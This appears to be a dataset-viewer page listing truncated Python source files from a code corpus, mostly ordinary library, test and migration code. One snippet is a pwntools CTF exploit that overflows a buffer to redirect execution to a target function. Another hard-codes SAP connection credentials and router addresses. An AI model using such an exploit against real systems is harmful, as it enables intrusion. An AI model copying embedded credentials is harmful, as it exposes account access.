text stringlengths 2 999k |
|---|
from functools import partial
import threading
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import QGridLayout, QInputDialog, QPushButton
from PyQt5.QtWidgets import QVBoxLayout, QLabel
from electrum.gui.qt.util import *
from electrum.i18n import _
from electrum.plugin import hook
from electrum.util import bh2u
... |
# -*- coding: utf-8 -*-
# This file as well as the whole tsfresh package are licenced under the MIT licence (see the LICENCE.txt)
# Maximilian Christ (maximilianchrist.com), Blue Yonder Gmbh, 2016
from unittest import TestCase
import numpy as np
import pandas as pd
from tsfresh.feature_selection.relevance import cal... |
# coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.12.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re... |
import json
from board.tile_position import TilePosition
from copy import deepcopy
from analysis.tile_repo import TileRepo
from tiles.tile_id import TileID
from tiles.tiles import RotatedTile
from config.constants import opposite
from moves.tile_move import TileMove
from players.piece_position import PiecePosition
cl... |
from dusk.script import *
from dusk.transpile import callable_to_pyast, pyast_to_sir, validate
def test_math():
validate(pyast_to_sir(callable_to_pyast(math_stencil)))
@stencil
def math_stencil(a: Field[Cell], b: Field[Cell], c: Field[Cell], d: Field[Cell]):
with levels_upward:
a = sqrt(b)
... |
# parser.py
#
# Author: Jan Piotr Buchmann <jan.buchmann@sydney.edu.au>
# Description:
#
# Version: 0.0
import sys
from . import sequence
class FastaParser:
def __init__(self):
self.sequences = {}
self.doFhClose = False
self.src = sys.stdin
def parse(self, src=None, fil=None, stream=False):
... |
#------------------------------------------------------------------------------
# Copyright (c) 2013, Nucleic Development Team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
#-----------------------------------------------------... |
def manacher(s):
s='#'+"#".join(s)+"#"
max_right = 0
pos = 0
max_len = 1
RL = [1]*len(s)
for i in range(len(s)):
if i<max_right:
RL[i]=min(RL[2*pos-i], max_right-i)
while i-RL[i]>=0 and i+RL[i]<len(s) and s[i-RL[i]]==s[i+RL[i]]:
RL[i]+=1
if i+RL[i]... |
global Neg_INF
Neg_INF = -100000
def max_subarray(Array):
max_so_far = 0
max_end = Neg_INF
for i in range(len(Array)):
max_end += Array[i]
if (max_end > max_so_far):
max_so_far = max_end
if (max_end<0):
max_end = 0
return max_so_far
# Driver Code
A = [1, 4, 6, 8, 7, 2, -2, 3]
print(m... |
# -*- coding: utf-8 -*-
'''
napalm-logs utilities
'''
from __future__ import absolute_import
from __future__ import unicode_literals
# Import pythond stdlib
import re
import ssl
import copy
import time
import socket
import logging
import threading
import collections
from pydoc import locate
from datetime import dateti... |
# Generated by Django 3.1.2 on 2020-11-03 08:50
from django.db import migrations, models
import index.models
class Migration(migrations.Migration):
dependencies = [
('index', '0021_staff_avatar'),
]
operations = [
migrations.AlterField(
model_name='staff',
name='... |
#!/usr/bin/env python3
import math
import plotly.graph_objects as go
def plot(coordinates):
fig = go.Figure(go.Scattermapbox(
mode="lines+markers",
lon=coordinates[0],
lat=coordinates[1],
marker={'size': 10}))
fig.update_layout(
margin={'l': 0, 't': 0, 'b': 0, 'r': 0},... |
import os, sys, inspect
import time
import argparse
from definitions import settings
from processing import OiePreprocessor
def find_aviliable_fliename(name):
"""Get file or dir name that not exists yet"""
file_name, file_extension = os.path.splitext(name)
i = 0
while True:
tmp = "{}_{:03d}_{}"... |
def find_common_left(strings):
"""
:param list[str] strings: list of strings we want to find a common left part in
:rtype: str
"""
length = min([len(s) for s in strings])
result = ''
for i in range(length):
if all([strings[0][i] == s[i] for s in strings[1:]]):
result += strings[0][i]
else:
break
retur... |
import unittest
from unittest.mock import patch
from emp import Employee
class TestEmployee(unittest.TestCase):
@classmethod
def setUpClass(cls) -> None:
print('SetUpClass')
@classmethod
def tearDownClass(cls) -> None:
print('TearDownClass')
def setUp(self) -> None:
print... |
import os
from m2cgen import ast
from m2cgen.interpreters import mixins
from m2cgen.interpreters import utils
from m2cgen.interpreters.interpreter import ToCodeInterpreter
from m2cgen.interpreters.c_sharp.code_generator import CSharpCodeGenerator
class CSharpInterpreter(ToCodeInterpreter, mixins.LinearAlgebraMixin):... |
import nltk
import pickle
import argparse
from collections import Counter
from pycocotools.coco import COCO
nltk.download('punkt')
import json
class Vocabulary(object):
"""Simple vocabulary wrapper."""
def __init__(self):
self.word2idx = {}
self.idx2word = {}
self.idx = 0
def add_word(self, word):
if not... |
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Frappe and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe import _
from frappe.model.document import Document
class Meeting(Document):
def validate(self):
"""Set missing names an... |
import unittest
import score
class Testquadratic_weighted_kappa(unittest.TestCase):
def test_confusion_matrix(self):
conf_mat = score.confusion_matrix([1,2],[1,2])
self.assertEqual(conf_mat,[[1,0],[0,1]])
conf_mat = score.confusion_matrix([1,2],[1,2],0,2)
self.assertEqual(... |
# Copyright 2017-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" fil... |
# coding: utf8
"""Image datasets"""
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.27 on 2020-04-10 20:34
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
("chroma_core", "0013_auto_20200317_1809"),
]
operations = [
migrations.CreateModel(... |
from flask import render_template, url_for, flash, redirect, request, Blueprint
from flask_login import login_user, current_user, logout_user, login_required
from cosmicdepth import db, bcrypt
from cosmicdepth.models import User, Post
from cosmicdepth.users.forms import (RegistrationForm, LoginForm, UpdateAccountForm,
... |
import unittest
import sys
import time
sys.path.append( ".." )
import boost_wide_report
class test_boost_wide_report(unittest.TestCase):
def test_diff( self ):
test_cases = [
( []
, []
, ( [], [] ) )
, ( [ boost_wide_report.file_info( "a", 1, time... |
# coding: utf8
from __future__ import absolute_import, unicode_literals
import random
import itertools
import weakref
import functools
from collections import OrderedDict
from contextlib import contextmanager
from copy import copy, deepcopy
from thinc.neural import Model
import srsly
from .tokenizer import Tokenizer
... |
# -*- coding: utf-8 -*-
'''
____ ___ ____________ ___ ___ ____ _________________
/ __ \/ _ | / __/ _/ __/ / _ \/ _ \/ __ \__ / / __/ ___/_ __/
/ /_/ / __ |_\ \_/ /_\ \ / ___/ , _/ /_/ / // / _// /__ / /
\____/_/ |_/___/___/___/ /_/ /_/|_|\____/\___/___/\___/ /_/
Operational Aid Source ... |
import os
import sys
from setuptools import setup, find_packages
here = os.path.abspath(os.path.dirname(__file__))
project_root = os.path.normpath(os.path.join(here, os.pardir))
def get_package_metadata():
package_metadata = {}
with open(os.path.join(here, '__version__.py')) as f:
exec(f.read(), pack... |
# Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import copy
from analysis import callstack_filters
from analysis.analysis_testcase import AnalysisTestCase
from analysis.stacktrace import StackFrame
from a... |
#######################################################################
# Copyright (C) 2017 Shangtong Zhang(zhangshangtong.cpp@gmail.com) #
# Permission given to modify the code as long as you keep this #
# declaration at the top #
################################... |
import numpy as np
from pipeline.input_provider.base_input_provider import BaseInputProvider
class NormalizedOneHotInputProvider(BaseInputProvider):
def __init__(self):
BaseInputProvider.__init__(self)
self.__game_state = None
self.__screen_shot = None
def store(self, game_state, scr... |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import math
import sys
import argparse
import rospy
import time
import tf2_ros
from lxml import etree
from collections import deque
import numpy
import yaml
import underworlds
from std_msgs.msg import String
from underworlds.types import Entity, Mesh, Camera, MESH, Situati... |
#!/usr/bin/env python
from jinja2 import FileSystemLoader, StrictUndefined
from jinja2.environment import Environment
env = Environment(undefined=StrictUndefined)
env.loader = FileSystemLoader('.')
modules = {
1: {'default_vlan': 520, 'ports': range(1, 25)},
2: {'default_vlan': 530, 'ports': range(1, 49)},
... |
"""This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.
"""
import logging
from django_filters.rest_framework import DjangoFilterBackend
from django.utils.decorators import method_decorator
from rest_framew... |
from pathlib import Path
import matplotlib
import matplotlib.pyplot as plt
# plt.switch_backend('agg')
import pandas
import seaborn
def plot_heatmap(data: pandas.DataFrame, filename: Path):
font = {
'size': 20
}
use_annotations = len(data) < 20 # So the annotations are actually visible
matplotlib.rc('font', **... |
"""Class for writing C-code to create a vxThresholdNode object.
Done by parsing the graph parameters of the xml description of the node.
parsed_string contains the C code to be written to file
"""
from base_node import BaseNode
from graphml_parser import graphml_parser
class Threshold(BaseNode):
"""Class for pa... |
from typing import TypeVar, NamedTuple, Dict
from plenum.common.constants import NOMINATE, BATCH, REELECTION, PRIMARY, \
BLACKLIST, REQACK, REQNACK, REJECT, \
POOL_LEDGER_TXNS, ORDERED, PROPAGATE, PREPREPARE, PREPARE, COMMIT, \
CHECKPOINT, THREE_PC_STATE, CHECKPOINT_STATE, \
REPLY, INSTANCE_CHANGE, LED... |
from twisted.application import internet, service
from twisted.web import xmlrpc, server
from twisted.internet import reactor
from txtrader.tws import TWS
from txtrader.xmlserver import xmlserver
from txtrader.tcpserver import serverFactory
msvc = service.MultiService()
api=TWS()
xrs = xmlserver(api)
xmlrpc.addInt... |
import unittest
import os
from programy.context import ClientContext
from programytest.aiml_tests.client import TestClient
class ArrowTestClient(TestClient):
def __init__(self):
TestClient.__init__(self)
def load_configuration(self, arguments):
super(ArrowTestClient, self).load_configuratio... |
from datetime import datetime
from django.db import models
from django.utils import timezone
class data(models.Model):
usedDate = models.DateTimeField('usedDate', default = datetime.now())
item = models.CharField('Item', max_length=20)
cost = models.IntegerField('cost')
memo = models.CharField('memo... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django.contrib.sites.models
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Site',
fields=[
... |
import unittest
import datetime
from mock import mock
from admin import key_rotation
from googleapiclient.errors import HttpError
class KeyRotationTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
print('**************************************************************')
print(cls.__nam... |
#
# PySNMP MIB module PCE-PCEP-DRAFT-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/PCE-PCEP-DRAFT-MIB
# Produced by pysmi-0.3.4 at Wed May 1 14:37:51 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, ... |
#!/usr/bin/python
# module_check: supported
# Copyright 2021 VMware, Inc. All rights reserved. VMware Confidential
# SPDX-License-Identifier: Apache License 2.0
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
... |
import numpy as np
import gym
import gym_gazebo
import sys
sys.path.append('/home/rjangir/software/workSpace/Overcoming-exploration-from-demos/')
from baselines import logger
from ddpg import DDPG
from her import make_sample_her_transitions
DEFAULT_ENV_PARAMS = {
'FetchReach-v1': {
'n_cycles': 10,
... |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# d... |
# (c) 2016 Red Hat Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is dis... |
import os
import sys
sys.path.insert(1, os.path.join(sys.path[0], '../utils'))
import numpy as np
import argparse
import librosa
import matplotlib.pyplot as plt
import torch
from utilities import create_folder, get_filename
from models import *
from pytorch_utils import move_data_to_device
import config
def audio_t... |
import argparse
import os
import cv2
import tensorflow as tf
from gp_gan import gp_gan
from model import EncoderDecoder
#os.environ['CUDA_VISIBLE_DEVICES'] = '-1' # Disable GPU computation
basename = lambda path: os.path.splitext(os.path.basename(path))[0]
"""
Note: source image, destination image and mask im... |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from onnx import TensorProto
import numpy as np # type: ignore
TENSOR_TYPE_TO_NP_TYPE = {
int(TensorProto.FLOAT): np.dtype('float32'),
int(TensorProto.UINT8): n... |
"""Adding parent duns number and name to (Published)AwardFinancialAssistance
Revision ID: 1fabe0bdd48c
Revises: 6973101b6853
Create Date: 2018-03-27 15:07:45.721751
"""
# revision identifiers, used by Alembic.
revision = '1fabe0bdd48c'
down_revision = '6973101b6853'
branch_labels = None
depends_on = None
from alemb... |
import winbrew
class Glslang(winbrew.Formula):
url = 'https://github.com/KhronosGroup/glslang/archive/7.8.2853.zip'
homepage = 'https://github.com/KhronosGroup/glslang'
sha1 = '8f7e1ba2bab166e39182790974564d27d6d628c8'
build_deps = ('cmake',)
deps = ()
def build(self):
self.cmake_buil... |
# Copyright (c) 2014 Yubico AB
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or
# without modification, are permitted provided that the following
# conditions are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditi... |
#!/usr/bin/env python
from logging import info, debug
from prompt_toolkit.buffer import Buffer
from LayoutManager import Layouts
class ContentManager:
def __init__(self, studio):
self.studio = studio
self.bufferSpecs = [
#(buffer name, initial value, location, update functi... |
class Node:
def __init__(self,value):
self.value=value
self.next=None
def ntolastnode(head):
item=head
count=0
while item is not None:
item=item.next
count=count+1
p=head
for i in range(count-n):
p=p.next
return p
a=Node(1)
b=Node(2)
c=Node(3)
d=Node(4)
a.next=b
b.next=c
c.next=d
n = int(input('Enter ... |
# coding=utf-8
# Copyright 2018 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
sample = [(2, 5), (1, 2), (4, 4), (2, 3), (2, 1)]
def last(n):
return n[-1]
def tupleSort(items):
sorted_items = sorted(items, key=last)
return sorted_items
print(tupleSort(sample)) |
f = [0,1]
n = int(input("numar:"))
for i in range(2, n+1):
f.append(f[i-1]+f[i-2])
print(f)
|
import os
import discord
from discord import InteractionContext
from dotenv import load_dotenv
if os.name != "nt":
import uvloop
uvloop.install()
load_dotenv()
bot = discord.Bot(intents=discord.Intents.default())
TOKEN = os.getenv("TOKEN")
@bot.event
async def on_ready():
print("봇이 준비되었습니다!")
@bot.... |
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
import os
import numpy as np
import cv2
import random
import math
def Rotate_aug(src, angle, label=None, center=None, scale=1.0):
image = src
(h, w) = image.shape[:2]
if center is None:
center = (w / 2, h / 2)
M = cv2.getRotationMatrix2D(center, angle, scale)
if label is None:
for ... |
from django.urls import path
from . import views
urlpatterns = [
path('', views.index, name='index'),
path('product/<int:product_id>/<slug:product_slug>/',
views.show_product, name='product_detail'),
path('cart/', views.show_cart, name='show_cart'),
path('checkout/', views.checkout, name='chec... |
import time
import random
import numpy as np
from utils import *
from transfer_functions import *
class NeuralNetwork(object):
def __init__(self, input_layer_size, hidden_layer_size, output_layer_size, transfer_f=sigmoid, transfer_df=dsigmoid):
"""
input_layer_size: number of input neurons
... |
"""Top-level package for mmsplice."""
__author__ = """Jun Cheng & M.Hasan Celik"""
__email__ = 'chengju@in.tum.de'
__version__ = '2.2.0'
from tensorflow.keras.models import load_model
from mmsplice.mmsplice import MMSplice, \
writeVCF, \
predict_save, \
predict_all_table, \
ACCEPTOR_INTRON, \
ACCE... |
import logging
from typing import Optional
import numpy as np
import progressbar
from astropy.timeseries import LombScargle
from matplotlib.axes import Axes
from roto.methods.periodfinder import PeriodFinder, Periodogram, PeriodResult
logger = logging.getLogger(__name__)
class LombScarglePeriodFinder(PeriodFinder)... |
from django.contrib.auth.decorators import login_required
class Login_required(object):
@classmethod
def as_view(cls, **initkwargs):
view = super().as_view(**initkwargs)
return login_required(view) |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# (c) University of St Andrews 2020-2021
# (c) University of Strathclyde 2020-2021
# (c) James Hutton Institute 2020-2021
#
# Author:
# Emma E. M. Hobbs
#
# Contact
# eemh1@st-andrews.ac.uk
#
# Emma E. M. Hobbs,
# Biomolecular Sciences Building,
# University of St Andrews,... |
from .exceptions import WrongInputException
class S3Trigger():
"""Get information from a S3 trigger record.
Args:
record (dic): trigger record.
Exceptions:
WrongInputException
"""
def __init__(self, record):
self.__record = record
try:
self.__buck... |
# Copyright 2019 The Bazel Go Rules Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
import warnings
from typing import Tuple
import torch
import torch.nn as nn
import torch.nn.functional as F
import enum
from kornia.constants import pi
__all__ = [
# functional api
"rad2deg",
"deg2rad",
"pol2cart",
"cart2pol",
"convert_points_from_homogeneous",
"convert_points_to_homogeneo... |
# $Filename$
# $Authors$
# Last Changed: $Date$ $Committer$ $Revision-Id$
#
# Copyright (c) 2003-2011, German Aerospace Center (DLR)
# All rights reserved.
#
#Redistribution and use in source and binary forms, with or without
#
#modification, are permitted provided that the following conditions are
#met:
#
... |
#!/usr/bin/env python
# from https://qiita.com/YomamaBanana/items/4197c4f9ec26a05416ed
# ②モジュールをimportする
import yaml
import sys
import argparse
from loguru import logger
import cv2
import numpy as np
import mediapipe as mp
import pyvirtualcam
# VirtualCameraクラス
class VirtualCamera():
def __init__(self, width, ... |
# PyScreeze
"""
NOTE:
Apparently Pillow support on Ubuntu 64-bit has several additional steps since it doesn't have JPEG/PNG support out of the box. Description here:
https://stackoverflow.com/questions/7648200/pip-install-pil-e-tickets-1-no-jpeg-png-support
http://ubuntuforums.org/showthread.php?t=1751455
""... |
# coding: utf-8
# li
from China_proxy_ip.Mayi_proxy_ip import Mayi_proxy_ip
from China_proxy_ip.Wuyoudaili_proxy_ip import Wuyoudaili_proxy_ip
from China_proxy_ip.Yundaili_proxy_ip import Yundaili_proxy_ip
|
import numpy as np
import pandas as pd
def plot_ci(x, y, ax, label='', alpha=0.7, zorder=-10):
cols = ['#EE7550', '#F19463', '#F6B176']
ci = bin_by(x, y)
# plot the 3rd stdv
ax.fill_between(ci.x, ci['5th'], ci['95th'], alpha=alpha, color=cols[2], zorder=zorder - 3)
ax.fill_between(ci.x, ci['10th']... |
import base64
print(str(base64.b16decode(input().encode('utf-8')))[2:-1]) |
from pwn import *
io = process("./0c5f4e234ba94ac6ac2c4aa31ac6a096")
#io = remote("111.198.29.45",44820)
elf = ELF("./0c5f4e234ba94ac6ac2c4aa31ac6a096")
vulnerable_addr = elf.symbols[b'what_is_this']
payload = b"A"*24+p32(vulnerable_addr)+b"A"*((0x105 - 0x4)-24)
io.read()
io.sendline("1")
io.read()
io.sendline("wan... |
from django.apps import AppConfig
class ProfilesConfig(AppConfig):
name = "profiles"
def ready(self):
import profiles.log_signals # noqa isort:skip
import profiles.signals # noqa isort:skip
|
import torch
import torch.nn as nn
from backbone.model_resnet import ResNet_50
# from tensorboardX import SummaryWriter
# import wandb
# from tqdm import tqdm
import time
import os
from glob import glob
if __name__ == '__main__':
# os.makedirs(os.path.join(MODEL_ROOT, EXP_NAME), exist_ok=True)
# os.makedirs(L... |
## Copyright 2018 The Chromium Authors. All rights reserved.
## Use of this source code is governed by a BSD-style license that can be
## found in the LICENSE file.
ProtocolCompatibilityInfo = provider()
def _check_protocol_compatibility_impl(ctx):
stamp = ctx.actions.declare_file("{}.stamp".format(ctx.attr.name)... |
"""WizCoin
By Al Sweigart marchese.dem@gmail.com
A Python module to represent the galleon, sickle, and knut coins of wizard currency."""
__version__ = '0.1.0'
|
"""empty message
Revision ID: 0017_add_failure_types
Revises: 0016_reply_to_email
Create Date: 2016-05-17 11:23:36.881219
"""
# revision identifiers, used by Alembic.
revision = '0017_add_failure_types'
down_revision = '0016_reply_to_email'
from alembic import op
import sqlalchemy as sa
from alembic import op
imp... |
from unittest import TestCase
from mock import patch, Mock
import warnings
import torchbearer
from torchbearer.callbacks import TorchScheduler, LambdaLR, StepLR, MultiStepLR, ExponentialLR, CosineAnnealingLR,\
ReduceLROnPlateau, CyclicLR
class TestTorchScheduler(TestCase):
def setUp(self):
super(Test... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
"""
Template tags for working with lists of model instances which represent
trees.
"""
from django import template
from django.apps import apps
from django.db.models.fields import FieldDoesNotExist
from django.utils.encoding import force_text
from django.utils.safestring import mark_safe
from django.utils.translation i... |
from __future__ import division, print_function
import os
from astropy.utils.data import get_pkg_data_filename
import matplotlib.pyplot as plt
import numpy as np
from numpy.testing import assert_array_equal
import pytest
import tempfile
from ..targetpixelfile import KeplerTargetPixelFile, KeplerTargetPixelFileFactory... |
import os
import sys
dir_test = os.path.dirname(__file__)
dir_agent = os.path.join(dir_test, "..")
dir_craftassist = os.path.join(dir_agent, "..")
dir_root = os.path.join(dir_craftassist, "..")
# sys.path.append(dir_craftassist)
sys.path.append(dir_root)
sys.path.insert(0, dir_test) # insert 0 so that Agent is pull... |
"""Process fictitious N2 cross sections from LxCAT.
"""
from nepc.curate.curate import CurateLxCAT, curate_client
from nepc.util import config
NEPC_HOME = config.nepc_home()
datadir = NEPC_HOME + "/tests/data"
states = {
'X1': 'N2(X1Sigmag+)',
'B3': 'N2(B3Pig)',
'W3': 'N2(W3Deltau)',
'B\'3': 'N2(Bp3S... |
# Generated by Django 3.1.7 on 2021-03-11 16:42
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('wagtailcore', '0060_fix_workflow_unique_constraint'),
]
operations = [
migrations.Creat... |
import numpy as np
import networkx as nx
from opensfm import reconstruction
from opensfm import multiview
from opensfm import config
from opensfm import types
from opensfm.test import data_generation
def test_corresponding_tracks():
t1 = {1: {"feature_id": 1}}
t2 = {1: {"feature_id": 2}}
correspondences... |
import pyrfc
connection_info = {
'user': 'demo',
'passwd': 'Welcome',
'ashost': '10.117.19.101',
'saprouter': '/H/203.13.155.17/W/xjkb3d/H/172.19.138.120/H/',
'sysnr': '00',
'lang': 'EN',
'client': '100',
'sysid': 'S16'
}
function_name = u'ZHHDEMO_STRUCT_MOD'
table_name = u'ZHHT_COL2'
... |
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------
# Huawei.MA5600T.get_inventory
# ---------------------------------------------------------------------
# Copyright (C) 2007-2019 The NOC Project
# See LICENSE for details
# ---------------------------------------------------... |
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
"""Run administrative tasks."""
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "groves.settings.dev")
try:
from django.core.management import execute_from_command_line
except I... |
def BackTrack(x,xx):
global n,m,v,r,t
for i in range(xx,n):
if i>xx and t[i-1]==t[i]: continue
v[i]=1
r.append(t[i])
if x<m: BackTrack(x+1,i)
else: print(' '.join(map(str,r)))
v[i]=0
r.pop()
r=[]
n,m=map(int,input().split())
t=[i+1 for i in range(n)]
v=[0]*n
BackTrack(1,0) |
# -*- coding: utf-8 -*-
from zerver.lib.webhooks.git import COMMITS_LIMIT
from zerver.lib.test_classes import WebhookTestCase
class GitlabHookTests(WebhookTestCase):
STREAM_NAME = 'gitlab'
URL_TEMPLATE = "/api/v1/external/gitlab?&api_key={api_key}"
FIXTURE_DIR_NAME = 'gitlab'
def test_push_event_messa... |
import pytest
import subprocess
import launcher
import common
from common import dev # NOQA
from common import PAGE_SIZE, SIZE # NOQA
from common import controller, replica1, replica2, read_dev, write_dev # NOQA
def test_upgrade(dev): # NOQA
offset = 0
length = 128
data = common.random_string(length... |
from ..exceptions import ConfigError
from copy import copy
from itertools import chain, product
from os.path import exists, abspath, join, split, relpath
import os
import sys
from glob import glob
from treedict import TreeDict
from cStringIO import StringIO
import re
import ctypes
import shutil
import cleaning
import l... |
##########
# Code from: https://github.com/tobiasbaumann1/Adaptive_Mechanism_Design
##########
import copy
import logging
import math
import os
import time
import ray
from ray import tune
from marltoolbox.algos.adaptive_mechanism_design.amd import (
AdaptiveMechanismDesign,
)
from marltoolbox.utils import log
lo... |
from codecs import open # To use a consistent encoding
from os import path
from setuptools import setup
HERE = path.dirname(path.abspath(__file__))
# Get version info
ABOUT = {}
with open(path.join(HERE, 'datadog_checks', 'redpanda', '__about__.py')) as f:
exec(f.read(), ABOUT)
# Get the long description from ... |
from panda3d.core import *
from toontown.toonbase import TTLocalizer
from toontown.toonbase import ToontownGlobals
ENDLESS_GAME = config.GetBool('endless-ring-game', 0)
NUM_RING_GROUPS = 16
MAX_TOONXZ = 15.0
MAX_LAT = 5
MAX_FIELD_SPAN = 135
CollisionRadius = 1.5
CollideMask = ToontownGlobals.CatchGameBitmask
TARGET_RAD... |
"""
Distributed under the terms of the BSD 3-Clause License.
The full license is in the file LICENSE, distributed with this software.
Author: Jun Zhu <jun.zhu@xfel.eu>
Copyright (C) European X-Ray Free-Electron Laser Facility GmbH.
All rights reserved.
"""
from abc import ABC, abstractmethod
import math
import numpy... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.